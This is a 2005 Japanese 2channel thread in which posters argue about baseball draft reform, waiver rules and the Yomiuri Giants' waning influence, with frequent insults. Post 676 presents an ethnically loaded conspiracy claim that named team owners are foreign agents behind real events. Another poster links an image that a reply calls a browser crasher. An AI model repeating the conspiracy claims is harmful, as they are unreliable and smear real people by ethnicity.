まぁ実際のコミッショナー、オーナー、選手会もMLBやサッカーの真似しか考えられない脳なしだから変わらないがw

671 :名無しさん@恐縮です:2005/04/28(木) 12:55:49 ID:wGUgnloe
度々NFLを例に出るが、方法論とか手法論以前に、
国内人気1プロスポーツであれば、どんな運営、手法でも成功する。
国内人気プロスポーツは金と人が集まる。
選手や金の分配の仕組みが良いから人気スポーツになる訳じゃない。

実は改革や変化が本当に必須なのは国内人気1では無いプロスポーツ。
たとえばJリーグ、バスケ、バレー、ラクビーなど。

672 :名無しさん@恐縮です:2005/04/28(木) 12:56:16 ID:2mcQNqiZ
今のNPBに魅力がないのは、戦力や面子ではない。
あのスタイル。
メガホンだっさー

673 :名無しさん@恐縮です:2005/04/28(木) 12:56:32 ID:JGTdvaAk
>>670
成功してるところを真似するのは当然だ

674 :名無しさん@恐縮です:2005/04/28(木) 12:59:06 ID:de1GWRuP
バカ丸出しのMLB厨よりも>>664の削減案の方が実用的だな
でも銭ゲバ選手会、読売には到底受け入れられんだろうなw

675 :名無しさん@恐縮です:2005/04/28(木) 12:59:41 ID:McwUnxoy
どう日本のプロ野球に活かすのかを書かずに
ただメジャーリーグの仕組みをまねしろとだけ言うのだから
叩かれたって仕方が無い、それを説明できないくせに
人を能無し扱いする>>673も能無しだ。

676 :名無しさん@恐縮です:2005/04/28(木) 12:59:59 ID:YfK4y1Ev
>>1
たしかに昔とちがって今では巨人の意見は通らないよ。
今でも球界の最高権力者は表向きナベツネや巨人清武英利代表などの巨人勢力
ということに一応なってはいるが、真の実力者はオリックスの宮内(アメリカ政財界
の代理人)であり、ロッテの重光(韓国北朝鮮勢力と深いつながりがあり、創価学会の
池田大作名誉会長や文鮮明統一教会教祖なども重光を支援)やソフトバンクの孫(半島系)
などの米国韓国朝鮮系の外国勢力なのだ。
長島茂雄の不可解な突然の病、さらには西武の堤オーナーの逮捕など疑問だらけの事件が
相次ぎ日本勢力は球界から、いや政界においても駆逐されつつある。
絶対的な権力者宮内などの外国勢力の代理人の前では、残念ながら巨人など日本勢の
意見は通りにくいのが実情である。

677 :名無しさん@恐縮です:2005/04/28(木) 13:01:40 ID:18O+maxB
>>671
鶏と卵だな。

678 :名無しさん@恐縮です:2005/04/28(木) 13:04:58 ID:omx8qFhd
>>677
三国志の楊修が曹操に殺されるキッカケとなった故事だよね

679 :名無しさん@恐縮です:2005/04/28(木) 13:05:48 ID:GNEwQZi7
メジャーの真似しても年俸がバカみたいに高騰しまくるだけ
読売にしかメリットが無い

680 :名無しさん@恐縮です:2005/04/28(木) 13:06:03 ID:JGTdvaAk
>>674
おまえが馬鹿だ
オリックス等の弱小赤字球団はもともとやってる
巨人、阪神等単独でやっていける球団はやる必要がない

利害関係が一致しなさすぎなんだよ

FA短縮で選手を集めやすくする代わりに
サラリーキャップを導入すれば選手を集めにくくなる
巨人、阪神、SBはどんどん取ればいいし
苦しい所はどんどん放出すればいい
完全ウェーバーなら有力な若手が下位チームに偏る
が、FA短縮でメジャー、上位球団に移籍しやすくなる

そしてこの3球団を3地区に分ければ地区の人気も保ちやすい

これが理解できないのか???

681 :名無しさん@恐縮です:2005/04/28(木) 13:06:32 ID:4020XPPT ?###
お前らが熱くなっているのは良くわかった

682 :名無しさん@恐縮です:2005/04/28(木) 13:07:01 ID:Gye24CHM
>>678
アホが知ったかすんな

683 :名無しさん@恐縮です:2005/04/28(木) 13:07:25 ID:syrJ3/mO
まぁ、巨人が弱くなって人気なくなったらプロ野球消滅だな

684 :名無しさん@恐縮です:2005/04/28(木) 13:07:46 ID:Q8lzJDHL
>>671
じゃあ日本のプロ野球はこのままで良いのか

685 :名無しさん@恐縮です:2005/04/28(木) 13:08:12 ID:OF82mHV0
> JGTdvaAk


何でコイツ必死なの?

686 :名無しさん@恐縮です:2005/04/28(木) 13:09:11 ID:c7zS44CA
663を見ると
王さんや落合さんは凄いね

無冠の人がまるでごみくずのようだ

687 :名無しさん@恐縮です:2005/04/28(木) 13:09:39 ID:FrE2tWpf
日本の狭い土地で地区分けされても萎えるだけ

688 :名無しさん@恐縮です:2005/04/28(木) 13:09:46 ID:vRL4Z72L
>>685
ID変えて自作自演するお前よりはマシだろう(笑)

689 :名無しさん@恐縮です:2005/04/28(木) 13:10:11 ID:rTCtdyWm
単独最下位が何エラそうに言ってるのか(w

まだカン違いしてるようだな。

690 :名無しさん@恐縮です:2005/04/28(木) 13:11:25 ID:1oxCur31
>>676
前半はともかく、後半は三流ライターの書くdデモ記事っぽくてワロス

691 :名無しさん@恐縮です:2005/04/28(木) 13:11:54 ID:ZO5c8Kut

何やってもどうせ衰退しちゃうんでしょ。


692 :名無しさん@恐縮です:2005/04/28(木) 13:12:14 ID:18O+maxB
>>678
それは鶏肋。

693 :名無しさん@恐縮です:2005/04/28(木) 13:12:52 ID:C73OBUfT
思い通りにやってきた結果が今の虚人と視聴率なんだから思い通りにやらせてやれ

694 :名無しさん@恐縮です:2005/04/28(木) 13:14:15 ID:qz1K+XE5
何かキモイ奴がいるな

695 :名無しさん@恐縮です:2005/04/28(木) 13:15:13 ID:18O+maxB
>>687
東西ならアリだと思う。プレーオフを盛り上げる意味で。
でもまあ、「便宜上グループを分けるのに東西分割が至便」以上の意味は無い。

696 :名無しさん@恐縮です:2005/04/28(木) 13:16:23 ID:2QbdUj6n
読売も必死なんだろうな
昨日の試合もガラガラだったし

697 :名無しさん@恐縮です:2005/04/28(木) 13:17:08 ID:Nhv/SGpr
実際に協約や一番球団運営に関心持って勉強してるのが巨人だからなぁ・・・
巨人の為に読売は頑張ってるよ。

698 :名無しさん@恐縮です:2005/04/28(木) 13:19:01 ID:23XEWlHh
>>695
MLBは国土が膨大な上に30チームもあるから仕方ない面もあるが、日本には必要無いでしょ
ショボさが際立つだけ

699 :名無しさん@恐縮です:2005/04/28(木) 13:25:33 ID:1oxCur31
>>697
公共性を担う全国区のメディア媒体を使って
特定の球団に肩入れし続けるのも限界なんじゃないか。

巨人が経営努力してるのは買うけど、日テレなんかがマンセーしまくるから
反感買いまくってるんだと思う

700 :名無しさん@恐縮です:2005/04/28(木) 13:25:39 ID:KHbRTOsU
>>698
3チームぐらいの中から優勝が決まっても面白いじゃんw

701 :名無しさん@恐縮です:2005/04/28(木) 13:32:03 ID:HOC87dFR
>>676 堤はむしろ今まで捕まらなかったほうが不思議

【レオレオ詐欺】堤家の歴史【ピストル堤】
http://academy3.2ch.net/test/read.cgi/history/1098282850/l50


702 :名無しさん@恐縮です:2005/04/28(木) 13:32:49 ID:18O+maxB
>>698
まあ、現状12球団ならセパで6・6で分けるのでいいだろうけど。
プレーオフを盛り上げる、という観点からすると、
もう少しそのあたり変えなきゃいけない所はある。

703 :名無しさん@恐縮です:2005/04/28(木) 13:58:20 ID:6solBQSu
1巡1位〜6位
 Bクラス(ロッテ、オリックス、楽天、阪神、カープ、横浜)が抽選で順位を決める
但しセ→パ→セ→パ→セ→パの順

1巡7位〜10位
 Aクラス2,3位(ソフトバンク、日ハム、ヤクルト、巨人)が抽選で順位を決める
但しセ→パ→セ→パの順

11位 中日 (日本シリーズ出場)
12位 西武 (日本シリーズ優勝)


こうすれば、優勝の絶望の所が指名順位を上げる為にわざと負けることが防げる。
11、12位はリーグ優勝チームの固定。指名順位の為にわざと優勝逃すチームもないだろう。

704 :名無しさん@恐縮です:2005/04/28(木) 14:03:23 ID:BpGRB9P4
>>680
金がないだろ

705 :名無しさん@恐縮です:2005/04/28(木) 14:09:14 ID:aPYv0mdL

いまだに年俸を公開しない選手会にはサラリーキャップは
無理だろね。

706 :名無しさん@恐縮です:2005/04/28(木) 14:14:42 ID:rm4EE6LI
選手会こそ保守的だよ

707 :名無しさん@恐縮です :2005/04/28(木) 14:20:43 ID:dlenIj38
MFLはテレビ放映権をプールして各球団に
均等に割り振る。観客動員収入も多いところが
少ないところに分担金を払っている。
なんて事は、巨人はやらないだろうな。


708 :名無しさん@恐縮です:2005/04/28(木) 14:52:42 ID:9tbY9wsQ
>>707
NFLの話はもういいって。
さんざん出尽くしてNFLはプールしたから成功したんじゃないって結論が何回もでてるから。
ちゃんとスレの最初から読めよ。


709 :名無しさん@恐縮です:2005/04/28(木) 15:25:58 ID:Q8lzJDHL
資金の分配なんてNFLに限ったことじゃないし
それが是か非かは結論なんて出てない。読売以外はな

710 :名無しさん@恐縮です:2005/04/28(木) 15:32:59 ID:toWpfrtj
この件に限ると巨人清武が正しい。

711 :名無しさん@恐縮です:2005/04/28(木) 17:19:37 ID:V/Ttruvp
清武は巨人代表じゃないほうが改革が進むと思うんだけどな。

彼のバイタリティと危機感は今のMPBで一番だと思うが
あまりに他の人達との間で温度差がありすぎるし、巨人の過去の
悪行のせいで、このスレでもそうだが巨人のゴリ押しに見られてしまう。

712 :名無しさん@恐縮です:2005/04/28(木) 17:39:20 ID:mN0F6RP4
逆指名制度廃止して通常のドラフト制度に戻すだけでいいよ。
契約金の上限撤廃もね。

713 :名無しさん@恐縮です:2005/04/28(木) 17:41:34 ID:aOev05mF
ラロッカが工藤の渾身のストレートを豪快に振りぬき、マウンドに這う工藤の顔面を踏みつける。
騒然とする場内。
突然三塁側のベンチに座る堀内が立ち上がりマウンド上へ・・・
無言のままおもむろにジャンパーを脱ぐ堀内。
その下からは通算203勝、最多勝1回、MVP1回など数々の栄冠を手にした背番号18が。
止めようとする清原のピアスを掴み豪快にベンチ裏に投げつける堀内。
そのままマウンド上で大きく振りかぶりラロッカに対峙する堀内。
「さぁ来い!ラロッカ!」
場内総立ち。堀内コール、堀内コールで広島市民球場が揺れる。
日本テレビはニュース延期でこの世紀の一番の放送を決定。

714 :名無しさん@恐縮です:2005/04/28(木) 17:44:54 ID:rptCvO75
非常にいい傾向ですね

715 :名無しさん@恐縮です:2005/04/28(木) 17:48:24 ID:LEz35eS6
優勝チームから指名する制度こそが資本主義国家であるあかし。


716 :名無しさん@恐縮です:2005/04/28(木) 17:50:14 ID:uZk2cn1o
散々言ってるが、1リーグ制にしなくて巨人も助かったよな


2リーグ制でも同じ結果なんだけどwww

717 :名無しさん@恐縮です:2005/04/28(木) 17:51:03 ID:heiMDWfm
ゴミ瓜は早く潰れろ

718 :名無しさん@恐縮です:2005/04/28(木) 18:06:23 ID:pK6t9tu2
現状、巨人が潰れても読売が潰れるとは思えん。
朝日や毎日が自爆を繰り返してるから、野球なんか単なる不採算部門になるだけ。

719 :名無しさん@恐縮です:2005/04/28(木) 18:24:25 ID:f8S55x6X
優勝争いに加わってても低視聴率だった球団の分際でえらそーに (・∀・)

720 :名無しさん@恐縮です:2005/04/28(木) 18:55:16 ID:NUTbzIaE
読売の清武も哀れだなw
わがまま軍団つぶれてしまえ。その方が球界の為になるよ

721 :名無しさん@恐縮です:2005/04/28(木) 18:58:05 ID:qe6lxJFd
巨人だけで新リーグ作ればいいじゃん

722 :名無しさん@恐縮です:2005/04/28(木) 18:59:46 ID:gsAzxRXY
相変わらずキモイな、ゴミ売り新聞の野球部は!

723 :名無しさん@恐縮です:2005/04/28(木) 19:00:09 ID:HjaN79FZ
オマイラそんなこと言ってる場合じゃないですよ!

http://202.239.72.116/1/src/1114618561954.jpg

724 :名無しさん@恐縮です:2005/04/28(木) 19:02:35 ID:NEMHr6VG
>>723
ブラクラ

725 :名無しさん@恐縮です:2005/04/28(木) 20:15:28 ID:24CLVzVL
>>723
いい加減にしろ。
糞サカ豚。

726 :名無しさん@恐縮です:2005/04/28(木) 20:44:40 ID:IZaw7hhC
そもそも、改革の目的を見失ってる
これじゃあ今年も栄養費もらうやつが出てくる

727 :名無しさん@恐縮です:2005/04/28(木) 20:51:25 ID:RdU5lfX6
あっはっは、清武はアフォか?

728 :名無しさん@恐縮です:2005/04/28(木) 22:39:21 ID:GMHjtbla
まあ巨人がどうこう抜きにして、

完全ウェーバー制は絶対にうまくいかないよ。

729 :名無しさん@恐縮です:2005/04/28(木) 22:57:06 ID:rm4EE6LI
>>723
アク禁

730 :名無しさん@恐縮です:2005/04/28(木) 23:24:35 ID:Bu0md3qK
>>728
自由枠認めるよりはマシだと思いますが何か?

731 :名無しさん@恐縮です:2005/04/28(木) 23:35:36 ID:8WyeG2Gi
福岡と札幌でホームゲームをやるな!

732 :名無しさん@恐縮です:2005/04/28(木) 23:42:18 ID:bN9d7uOk
読売新聞の拡張が目的だもの。

733 :名無しさん@恐縮です:2005/04/28(木) 23:43:50 ID:Rp/6Pr8k
巨人の意見が通らない!ハイ!ハイ!ハイハイハイ
あるある探検隊!あるある探検隊!

734 :名無しさん@恐縮です:2005/04/28(木) 23:44:03 ID:mVxlX332 ?
>>728、730
だから、1位はクジが一番いいのにね。


735 :名無しさん@恐縮です:2005/04/28(木) 23:44:31 ID:rm4EE6LI
>>731
地方巡業も大事だからな


736 :名無しさん@恐縮です:2005/04/28(木) 23:45:47 ID:DmeoXm3X
巨人は飛ぶ鳥が落ちる勢い

737 :名無しさん@恐縮です:2005/04/29(金) 00:40:33 ID:9oyGogFN
昔みたいにクジ引き抽選すればいいじゃないの
あれ一番盛り上がるでしょ
広島とかオリとかに決まったら運がなかったと思って

738 :名無しさん@恐縮です:2005/04/29(金) 00:41:58 ID:QPKfu6OU
カイジの鉄骨渡りで決めればいいじゃん

739 :名無しさん@恐縮です:2005/04/29(金) 01:05:10 ID:tLxX+xsr
>> 広島とかオリとかに決まったら運がなかったと思って

テラワロスw

740 :名無しさん@恐縮です:2005/04/29(金) 01:14:25 ID:ObvhqxTQ
思ったんだけど
ウェーバー制と逆ウェーバー制を混ぜてやったらどうかね
たとえば、奇数巡目はウェーバー制で偶数巡目は逆でとか。

741 :名無しさん@恐縮です:2005/04/29(金) 01:20:54 ID:dH7dlVb/
>740
それが完全ウェーバーだと思いますよ。

742 :名無しさん@恐縮です:2005/04/29(金) 01:30:41 ID:ObvhqxTQ
>>741
あ、そうなんだ・・・
不勉強でスマソ。

743 :名無しさん@恐縮です:2005/04/29(金) 01:44:25 ID:gFwfa0my
>>737
人の人生をクジで決めるものではない  と言われたからな。

744 :名無しさん@恐縮です:2005/04/29(金) 01:51:12 ID:dH7dlVb/
けど、選手に取ったらウェーバーで決まるより、くじで決まった方が
いいでしょう。
運命みたいなのも感じるでしょうし。

745 :名無しさん@恐縮です:2005/04/29(金) 02:20:04 ID:/Pw4Zdql
クジと言えばそれまで抽選箱は透明だったのに
松井(現ヤンクス)の抽選が中が見えない白い箱だったため
いろいろ憶測を呼んでいる。

746 :名無しさん@恐縮です:2005/04/29(金) 02:55:13 ID:gFwfa0my
>>745
それ以前も以後も中身が見えない箱だよ

747 :名無しさん@恐縮です:2005/04/29(金) 03:08:31 ID:ZousQ7TC
そういや最近毒蜜なんかいってる
早くも巨人を見限ったのかな
難破船から逃げ出すねずみみたいに

748 :名無しさん@恐縮です:2005/04/29(金) 03:32:01 ID:+AV01LQh
>744
運の強い人と言うのは居るもんだよな。 野球の試合も運で決まる時も有る。

スターの資質の一つに「強運」ていうのは確かにある。

749 :名無しさん@恐縮です:2005/04/29(金) 06:42:40 ID:6IJDEm7m
毎年、80-90人程度指名されるが、一 部 を 除 く 選手は「プロなら ど こ の 球 団 で も い い 」と思っている。

完全ウェーバーに併せて指名即トレード、指名順位トレードを導入すればいい。

750 :wanwan:2005/04/29(金) 06:49:48 ID://n99zwX
松井のドラフトの時は 確かに松井のあたりくじだけが 箱の壁に張り付いていて
それを 長島が引くという手はずになっていたといううわさが出た。 読売がなんでも
強引にリードしていた時代だから 事実かもしれない。

751 :名無しさん@恐縮です:2005/04/29(金) 07:03:41 ID:sI1CwBS+
小池がロッテに引かれた時は爆笑した。

752 :名無しさん@恐縮です:2005/04/29(金) 09:03:02 ID:60pCmVgT
>>713
ピッチャーが「さぁ来い!」っておかしくない?

753 :名無しさん@恐縮です:2005/04/29(金) 09:07:22 ID:fhhFNTPS
>>750
読売ならやりかねない


754 :名無しさん@恐縮です:2005/04/29(金) 09:10:39 ID:FlVYY4uo
巨人のお偉いさんはたまらんよな。
ドラフト制をさんざん自分達に都合よくいじって、
その挙句がこのていたらくだからな。
もう完全ウェーバー制でいけ。
自由の国アメリカがやってる制度なんだから何ら問題ない。

755 :名無しさん@恐縮です:2005/04/29(金) 10:22:44 ID:ne/xqUXx
完全ウェーバー支持のカキコする連中ってどうしてこう
オツムの足りなさそうな理由を挙げるんだ?
完全ウェーバー阻止の世論作りの工作員にしか見えない。

756 :名無しさん@恐縮です:2005/04/29(金) 10:28:05 ID:QByL63U4
>>755
そういうモマエはどんなご立派な高説をお持ちで?(プ

757 :名無しさん@恐縮です:2005/04/29(金) 11:05:23 ID:ne/xqUXx
>>756
俺か?俺は昔の「3位までくじ引き。それ以下はウェーバー」支持だよ。
結局、あのシステムの時代が一番うまく行ってたんだから、日本では
あのシステムが一番機能する可能性が高いと思うからね。

つか、どういう方法かという話じゃなく、それを支持する理由の話だよ。、

> もう完全ウェーバー制でいけ。
> 自由の国アメリカがやってる制度なんだから何ら問題ない。

ってカキコを読んで、あんたは完全ウェーバー支持になるか?
あまりに短絡過ぎで、逆に支持されなさそうなカキコだと思わんか?

他板でもそうなんだが、完全ウェーバー支持者の理由って「戦力均等化」
とか「MLBでやっている」とか短絡思考的なのが多い気がするんだよ。
戦力均等化しないことも、MLBでも歪が生じていることも知られているのに。


758 :名無しさん@恐縮です:2005/04/29(金) 11:40:44 ID:QByL63U4
>>757
それなら失礼した。
荒らしではなかったですね。

仰るとおり、完全ウェーバードラフトが「戦力均衡化」になるとは思わない。
ただ、それは「戦力平等化への機会の平等」を保障しているんであって、「結果の平等」までは
保障しているわけではない。
アメリカの発想ってそこから出てきているからこの制度がアメリカ人の人々は支持されているんだよ。

あなたは完全ウェーバー支持者を工作員呼ばわりしたけど、
そんな言い方じゃ敵を作るだけですよ。
自分は完全ウェーバーのFA短縮を支持していますけど、
今のあなたの意見読んでそれでもOKだと思ったんで。
要はどんな制度になっても不満が出るのは事実だろうから、
プロ野球という「商売」を盛り上げるための仕組みを考えていかないといけないでしょう。
実力の違いが明らかな試合なぞ見ててもつまらんでしょうから。

759 :名無しさん@恐縮です:2005/04/29(金) 11:46:46 ID:QByL63U4
>>757
あ、補足。
確かに>>756の書き方だといい意見でも支持を失うのは
同意ですね。

760 :名無しさん@恐縮です:2005/04/29(金) 11:51:41 ID:P0RUxfye
読売、阪神、中日、SBの4チームでやってくれ。


761 :名無しさん@恐縮です:2005/04/29(金) 16:35:12 ID:BlPoUD/u
ウェーバー支持はサカヲタだけのようだなw

762 :名無しさん@恐縮です:2005/04/29(金) 17:44:37 ID:8HgPAsFj
>>757
戦力均等化ってのは逆指名制度と比べてってことじゃないの?
自由競争と比較すれば戦力は均等してると思うが。

763 :名無しさん@恐縮です:2005/04/29(金) 18:21:05 ID:gFwfa0my
いまや球界の盟主は阪神なんだから、巨人代表がなんぼのもんじゃい

764 :名無しさん@恐縮です:2005/04/29(金) 18:27:35 ID:zOt4Mu98
そもそも完全ウェーバーにすれば
完全に戦力が均衡化するなんていってるやついるのか
今の制度との比較の問題だろう

765 :名無しさん@恐縮です:2005/04/29(金) 18:30:28 ID:eGtmnbtM
巨人=ジャイアンツ=ジャイアン

オレのものはオレのもの
お前のものはオレのもの 理論通用せず

766 :名無しさん@恐縮です:2005/04/29(金) 18:30:41 ID:pKpOTqF8
巨人清武英利代表「リーグ、脱退だ!!新リーグ結成だ!」


他の球団代表「お好きにどうぞ!」

767 :名無しさん@恐縮です:2005/04/29(金) 18:32:38 ID:Hd5LIKS4
長期的に考えれば 巨人をはずして新リーグを作った方がプロ野球界としていい方向に行くと思うね。

768 :名無しさん@恐縮です:2005/04/29(金) 18:33:06 ID:u7OX+rAP
意見通らなくてもいいじゃん。どうせ他所から買ってくるんだし。
それに将来有望な新人でも巨人が取ったら二軍で腐らせるだけだし。

769 :名無しさん@恐縮です:2005/04/29(金) 18:34:34 ID:7Dn4GOIk
ナベツネが逆指名ドラフト採用させようと揺さぶりかけてたころ
「NTTや東芝を誘って新リーグだ!」とか鼻息荒かったよなw

770 :名無しさん@恐縮です:2005/04/29(金) 23:50:59 ID:gFwfa0my
>巨人の意見が通らない
そんな時代なんだなぁ

771 :名無しさん@恐縮です:2005/04/29(金) 23:57:32 ID:cwqIwyw4
意見が通らなくてブチ切れるというところが笑える

772 :名無しさん@恐縮です:2005/04/30(土) 00:12:08 ID:0JpPUCqY
ジャイアンみたい

773 :名無しさん@恐縮です:2005/04/30(土) 01:38:33 ID:QojFGKfX
>>772
2点

774 :名無しさん@恐縮です:2005/04/30(土) 01:42:33 ID:XYn5jQug

読売は野球界から消えて欲しい



775 :名無しさん@恐縮です:2005/04/30(土) 01:55:02 ID:C7Lt1PLp
読売を追放
四国アイランダーズが加入し


古田敦也コミッショナーで

北海道ファイターズ
仙台ゴールデンイーグルス
埼玉ライオンズ
千葉マリーンズ
東京スワローズ
横浜ベイスターズ
名古屋ドラゴンズ
阪神タイガース
神戸バファローズ
広島カープ
四国アイランダーズ
福岡ホークス


・・・・・なんだ、あっさり解決じゃないか!

776 :名無しさん@恐縮です:2005/04/30(土) 02:26:55 ID:QojFGKfX
読売言うな! 巨人って言えや

777 :名無しさん@恐縮です:2005/04/30(土) 02:32:07 ID:nT4eAT4U
そういえば四国独立リーグって全く話題にならないな

778 :名無しさん@恐縮です:2005/04/30(土) 02:32:21 ID:36MZqtlc
完全ウェーバーだとわざと負ける可能性がある。
だから、一位二位くじ、三位からウェーバーが理想。
それ以外なら、保留権なくした移籍自由、新人獲得自由にするべき。

779 :名無しさん@恐縮です:2005/04/30(土) 02:51:12 ID:QojFGKfX
>>777
話題になってるよ
観衆8000人だぞ

780 :名無しさん@恐縮です:2005/04/30(土) 10:08:27 ID:77y3Lfso
>>778
前半は良いと思うけど
後半は何で?

今より酷くなる気がするけど。

781 :名無しさん@恐縮です:2005/05/01(日) 00:58:53 ID:AhwQw3zJ
>>778
それは無いって

782 :名無しさん@恐縮です:2005/05/01(日) 01:03:13 ID:SbcM/Lps
>776 巨人と呼ぶ方が不自然。
阪神やら中日を見よ。
読売 読売 読売 読売 読売 読売 読売 読売 読売 読売

783 :名無しさん@恐縮です:2005/05/01(日) 10:23:59 ID:ghyCriWt
>>782
正式に読売巨人軍になったはず。
昨年だか一昨年だかから。

784 :名無しさん@恐縮です:2005/05/01(日) 11:36:18 ID:bYa68vmd
>>782
巨人は、東京巨人の時代からマスコミの略称はずっと「巨人」。
その後に「読売巨人軍」というチーム名になった。

阪神はチーム名を「大阪タイガース」としていた戦前の時点から
他の在版球団が親会社そのままの「南海」「阪急」だったために
「阪神」と呼ばれていた。マスコミの略号も一時色々使われたが
戦後は一貫して「阪神」を使っている。
逆に球団のほうが、1961年にチーム名を「阪神タイガース」に変更。

中日は、親会社の名前そのままの「中部日本」というチーム名で
再開したが、略号は「中日」だった。
その翌年に愛称導入して「中部日本ドラゴンズ」になるが、新聞の
略号は「中日」のまま。
逆に球団のほうが、1948年にチーム名を「中日ドラゴンズ」に変更。


チームが略称を作ったわけじゃなく、マスコミとファンが略称を作った。
だから、「巨人」をわざわざ「読売」と呼ぶほうが変なんだよ。

785 :名無しさん@恐縮です:2005/05/01(日) 13:23:08 ID:nnBEHwB5
読売は読売だから読売で間違いないだろ!
昭和22年から読売名乗ってるんだから読売と呼べや
文句あるんだったら、過去の裏金問題の公表と他球団から奪った選手返還しろ


786 :名無しさん@恐縮です:2005/05/01(日) 13:27:48 ID:2cq1zMPG
頭わる・・・

787 :名無しさん@恐縮です:2005/05/01(日) 13:30:55 ID:MhQEF9ID
もともと他のライバル新聞社サンケイだったか朝日だったかが自社の新聞に読売
なんて載せると宣伝になっておもしろくなかった。だから巨人と呼ぶようにした。
文句があるなら朝日かサンケイに言え。
阪神電鉄は元々大阪鉄道って名称じゃなかったっけ?

788 :名無しさん@恐縮です:2005/05/01(日) 13:36:02 ID:MhQEF9ID
本来はプロ野球も東京や名古屋、大阪と地名を使っていた。
阪急が自分のところに地名をつけにくかったから「阪急」と代用で会社の名前を名乗った。
それが宣伝になるってんで他のところも真似し始めたと聞いたが。

789 :名無しさん@恐縮です:2005/05/01(日) 13:46:35 ID:V2HEG82s
MBLはあんまり知らないんだけど、
同じくウェーバー制のNBLを見てると、
チームの強さに周期が生まれて、
それはそれで面白いんだよな。

1負け時代<おいおいしっかりしろ<有力新人補給
2挽回時代<お、だんだん強くなってきた<新人活躍中
3勝ち時代<やったー、10年ぶりにファイナルだー<新人ベテラン化
4停滞期<なんか弱くなってきたな・・・<ベテラン引退
1に戻りループ

で、なんとなく長いスタンスで応援しちゃったり。
まあ、金と知恵があるトコは、新人以外で戦力強化を図るから
でそれほど駄目にはならんが。

790 :名無しさん@恐縮です:2005/05/01(日) 13:50:04 ID:xdEEm7rC
昨年TVで誰か言ってたけどドラフト候補は全員NPBに就職するって意識を
植付けさせればいいと思う
それで札幌なり福岡なり東京に派遣されたって感覚で

791 :名無しさん@恐縮です:2005/05/01(日) 13:52:47 ID:w0X6IEQD
讀賣は自分達の権限が落ちてきてることを自覚しろよ

792 :名無しさん@恐縮です:2005/05/01(日) 14:24:06 ID:ryt4GbmI
>>790
それ四国リーグですやん

793 :bjリーグ・東京アパッチ:2005/05/01(日) 16:27:42 ID:bXj8Xlvj
東京で、巨人ファンって意外に少ないよ
コアな巨人ファンが少ないから、弱いと見放す。

794 :名無しさん@恐縮です:2005/05/01(日) 16:28:57 ID:rv6NV6oK
長嶋亡き巨人など敵ではない

795 :名無しさん@恐縮です:2005/05/01(日) 16:45:20 ID:zo4i+bWY
高校野球とメジャーリーグがあればそれでOKでしょ

796 :名無しさん@恐縮です:2005/05/01(日) 17:08:30 ID:XDd4siuJ
逆指名で(杉山)仁志を獲ったのが
転落の始まりって気がつけよゴミウリ

797 :名無しさん@恐縮です:2005/05/01(日) 21:07:11 ID:2okZxc0v
ドラフトで裏金使ってたくせに清武は何言ってるんだ。
本来なら讀賣はドラフト指名権すら無くて当然だったはずなのに
塵コミッショナーが讀賣擁護するからこうなったんだよ。
ドラフト改革に讀賣は口出すな!!


798 :名無しさん@恐縮です:2005/05/01(日) 21:08:15 ID:bVD173/b
>>789
だれもつっこまんがMLB。

799 :名無しさん@恐縮です:2005/05/01(日) 21:11:13 ID:U65Q6nTA
巨人は用済み

800 :名無しさん@恐縮です:2005/05/01(日) 21:14:38 ID:U65Q6nTA
訂正
讀賣は用済み

801 :名無しさん@恐縮です:2005/05/01(日) 21:37:05 ID:8NhlRJ3c
「レッスンアマ木六本の みゆき野球教室」というBlog始めました
http://blog.goo.ne.jp/ujegc23/



802 :名無しさん@恐縮です:2005/05/02(月) 01:58:29 ID:XkOaObiS
巨人とさらば

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